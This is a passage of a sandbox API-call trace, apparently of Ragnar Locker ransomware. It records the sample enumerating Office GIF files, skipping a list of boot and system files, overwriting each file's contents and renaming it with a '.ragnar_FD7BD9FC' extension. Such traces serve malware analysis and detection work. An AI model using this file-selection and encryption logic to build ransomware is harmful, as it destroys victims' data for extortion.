[0099.273] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0099.273] WriteFile (in: hFile=0x10c, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0099.273] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0099.273] GetProcessHeap () returned 0x580000 [0099.273] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0099.273] CloseHandle (hObject=0x10c) returned 1 [0099.273] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14984_.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14984_.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14984_.GIF" [0099.273] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14984_.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14984_.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14984_.GIF.ragnar_FD7BD9FC" [0099.274] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14984_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14984_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14984_.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14984_.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0099.275] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1da0000, ftCreationTime.dwHighDateTime=0x1bd4f41, ftLastAccessTime.dwLowDateTime=0xbca5cca0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc1da0000, ftLastWriteTime.dwHighDateTime=0x1bd4f41, nFileSizeHigh=0x0, nFileSizeLow=0x40, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14985_.GIF", cAlternateFileName="")) returned 1 [0099.275] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0099.275] lstrcpyW (in: lpString1=0x1eab62, lpString2="BD14985_.GIF" | out: lpString1="BD14985_.GIF") returned="BD14985_.GIF" [0099.276] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14985_.GIF") returned=".GIF" [0099.276] lstrcmpiW (lpString1="BD14985_.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0099.276] lstrcmpiW (lpString1="BD14985_.GIF", lpString2="autorun.inf") returned 1 [0099.276] lstrcmpiW (lpString1="BD14985_.GIF", lpString2="boot.ini") returned -1 [0099.276] lstrcmpiW (lpString1="BD14985_.GIF", lpString2="bootfont.bin") returned -1 [0099.276] lstrcmpiW (lpString1="BD14985_.GIF", lpString2="bootsect.bak") returned -1 [0099.276] lstrcmpiW (lpString1="BD14985_.GIF", lpString2="bootmgr") returned -1 [0099.276] lstrcmpiW (lpString1="BD14985_.GIF", lpString2="bootmgr.efi") returned -1 [0099.276] lstrcmpiW (lpString1="BD14985_.GIF", lpString2="bootmgfw.efi") returned -1 [0099.276] lstrcmpiW (lpString1="BD14985_.GIF", lpString2="desktop.ini") returned -1 [0099.276] lstrcmpiW (lpString1="BD14985_.GIF", lpString2="iconcache.db") returned -1 [0099.276] lstrcmpiW (lpString1="BD14985_.GIF", lpString2="ntldr") returned -1 [0099.276] lstrcmpiW (lpString1="BD14985_.GIF", lpString2="ntuser.dat") returned -1 [0099.276] lstrcmpiW (lpString1="BD14985_.GIF", lpString2="ntuser.dat.log") returned -1 [0099.276] lstrcmpiW (lpString1="BD14985_.GIF", lpString2="ntuser.ini") returned -1 [0099.276] lstrcmpiW (lpString1="BD14985_.GIF", lpString2="thumbs.db") returned -1 [0099.276] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0099.276] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0099.276] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0099.276] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0099.276] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0099.276] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0099.276] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0099.276] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14985_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14985_.gif")) returned 0x20 [0099.276] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14985_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14985_.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0099.277] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=64) returned 1 [0099.277] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x37, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.277] GetProcessHeap () returned 0x580000 [0099.277] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0099.277] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0099.278] VirtualAlloc (lpAddress=0x0, dwSize=0x40, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0099.278] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.278] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0099.278] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x40, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x40, lpOverlapped=0x0) returned 1 [0099.278] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0099.278] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x40, nNumberOfBytesToLockHigh=0x0) returned 1 [0099.278] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x40, lpOverlapped=0x0) returned 1 [0099.279] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x40, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0099.279] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0099.279] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x40, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.279] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0099.279] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0099.279] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0099.279] WriteFile (in: hFile=0x10c, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0099.279] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0099.279] GetProcessHeap () returned 0x580000 [0099.279] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0099.279] CloseHandle (hObject=0x10c) returned 1 [0099.279] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14985_.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14985_.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14985_.GIF" [0099.279] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14985_.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14985_.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14985_.GIF.ragnar_FD7BD9FC" [0099.279] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14985_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14985_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14985_.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14985_.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0099.281] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x57254000, ftCreationTime.dwHighDateTime=0x1bd5ec1, ftLastAccessTime.dwLowDateTime=0xbca5cca0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x57254000, ftLastWriteTime.dwHighDateTime=0x1bd5ec1, nFileSizeHigh=0x0, nFileSizeLow=0x40f6, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD15018_.GIF", cAlternateFileName="")) returned 1 [0099.281] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0099.281] lstrcpyW (in: lpString1=0x1eab62, lpString2="BD15018_.GIF" | out: lpString1="BD15018_.GIF") returned="BD15018_.GIF" [0099.281] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15018_.GIF") returned=".GIF" [0099.281] lstrcmpiW (lpString1="BD15018_.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0099.281] lstrcmpiW (lpString1="BD15018_.GIF", lpString2="autorun.inf") returned 1 [0099.281] lstrcmpiW (lpString1="BD15018_.GIF", lpString2="boot.ini") returned -1 [0099.281] lstrcmpiW (lpString1="BD15018_.GIF", lpString2="bootfont.bin") returned -1 [0099.281] lstrcmpiW (lpString1="BD15018_.GIF", lpString2="bootsect.bak") returned -1 [0099.281] lstrcmpiW (lpString1="BD15018_.GIF", lpString2="bootmgr") returned -1 [0099.281] lstrcmpiW (lpString1="BD15018_.GIF", lpString2="bootmgr.efi") returned -1 [0099.281] lstrcmpiW (lpString1="BD15018_.GIF", lpString2="bootmgfw.efi") returned -1 [0099.281] lstrcmpiW (lpString1="BD15018_.GIF", lpString2="desktop.ini") returned -1 [0099.281] lstrcmpiW (lpString1="BD15018_.GIF", lpString2="iconcache.db") returned -1 [0099.281] lstrcmpiW (lpString1="BD15018_.GIF", lpString2="ntldr") returned -1 [0099.281] lstrcmpiW (lpString1="BD15018_.GIF", lpString2="ntuser.dat") returned -1 [0099.283] lstrcmpiW (lpString1="BD15018_.GIF", lpString2="ntuser.dat.log") returned -1 [0099.283] lstrcmpiW (lpString1="BD15018_.GIF", lpString2="ntuser.ini") returned -1 [0099.283] lstrcmpiW (lpString1="BD15018_.GIF", lpString2="thumbs.db") returned -1 [0099.283] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0099.283] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0099.283] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0099.283] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0099.283] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0099.283] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0099.283] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0099.283] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15018_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15018_.gif")) returned 0x20 [0099.284] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15018_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15018_.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0099.284] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=16630) returned 1 [0099.284] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x40ed, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.284] GetProcessHeap () returned 0x580000 [0099.284] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0099.285] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0099.313] VirtualAlloc (lpAddress=0x0, dwSize=0x40f6, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0099.314] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.314] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0099.314] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x40f6, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x40f6, lpOverlapped=0x0) returned 1 [0099.385] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0099.385] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x40f6, nNumberOfBytesToLockHigh=0x0) returned 1 [0099.385] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x40f6, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x40f6, lpOverlapped=0x0) returned 1 [0099.386] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x40f6, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0099.386] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0099.386] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x40f6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.386] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0099.386] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0099.386] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0099.386] WriteFile (in: hFile=0x10c, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0099.386] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0099.386] GetProcessHeap () returned 0x580000 [0099.386] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0099.386] CloseHandle (hObject=0x10c) returned 1 [0099.387] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15018_.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15018_.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15018_.GIF" [0099.387] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15018_.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15018_.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15018_.GIF.ragnar_FD7BD9FC" [0099.387] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15018_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15018_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15018_.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15018_.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0099.388] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7bb99900, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbca82e00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7bb99900, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0xfe, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD15019_.GIF", cAlternateFileName="")) returned 1 [0099.388] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0099.388] lstrcpyW (in: lpString1=0x1eab62, lpString2="BD15019_.GIF" | out: lpString1="BD15019_.GIF") returned="BD15019_.GIF" [0099.388] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15019_.GIF") returned=".GIF" [0099.388] lstrcmpiW (lpString1="BD15019_.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0099.388] lstrcmpiW (lpString1="BD15019_.GIF", lpString2="autorun.inf") returned 1 [0099.388] lstrcmpiW (lpString1="BD15019_.GIF", lpString2="boot.ini") returned -1 [0099.388] lstrcmpiW (lpString1="BD15019_.GIF", lpString2="bootfont.bin") returned -1 [0099.388] lstrcmpiW (lpString1="BD15019_.GIF", lpString2="bootsect.bak") returned -1 [0099.388] lstrcmpiW (lpString1="BD15019_.GIF", lpString2="bootmgr") returned -1 [0099.388] lstrcmpiW (lpString1="BD15019_.GIF", lpString2="bootmgr.efi") returned -1 [0099.388] lstrcmpiW (lpString1="BD15019_.GIF", lpString2="bootmgfw.efi") returned -1 [0099.388] lstrcmpiW (lpString1="BD15019_.GIF", lpString2="desktop.ini") returned -1 [0099.389] lstrcmpiW (lpString1="BD15019_.GIF", lpString2="iconcache.db") returned -1 [0099.389] lstrcmpiW (lpString1="BD15019_.GIF", lpString2="ntldr") returned -1 [0099.389] lstrcmpiW (lpString1="BD15019_.GIF", lpString2="ntuser.dat") returned -1 [0099.389] lstrcmpiW (lpString1="BD15019_.GIF", lpString2="ntuser.dat.log") returned -1 [0099.389] lstrcmpiW (lpString1="BD15019_.GIF", lpString2="ntuser.ini") returned -1 [0099.389] lstrcmpiW (lpString1="BD15019_.GIF", lpString2="thumbs.db") returned -1 [0099.389] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0099.389] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0099.389] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0099.389] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0099.389] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0099.389] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0099.389] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0099.389] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15019_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15019_.gif")) returned 0x20 [0099.389] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15019_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15019_.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0099.390] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=254) returned 1 [0099.390] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xf5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.390] GetProcessHeap () returned 0x580000 [0099.390] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0099.390] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0099.391] VirtualAlloc (lpAddress=0x0, dwSize=0xfe, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0099.391] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.391] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0099.391] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xfe, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0xfe, lpOverlapped=0x0) returned 1 [0099.392] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0099.392] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xfe, nNumberOfBytesToLockHigh=0x0) returned 1 [0099.392] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xfe, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0xfe, lpOverlapped=0x0) returned 1 [0099.392] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xfe, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0099.392] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0099.392] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xfe, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.392] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0099.392] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0099.434] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0099.435] WriteFile (in: hFile=0x10c, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, 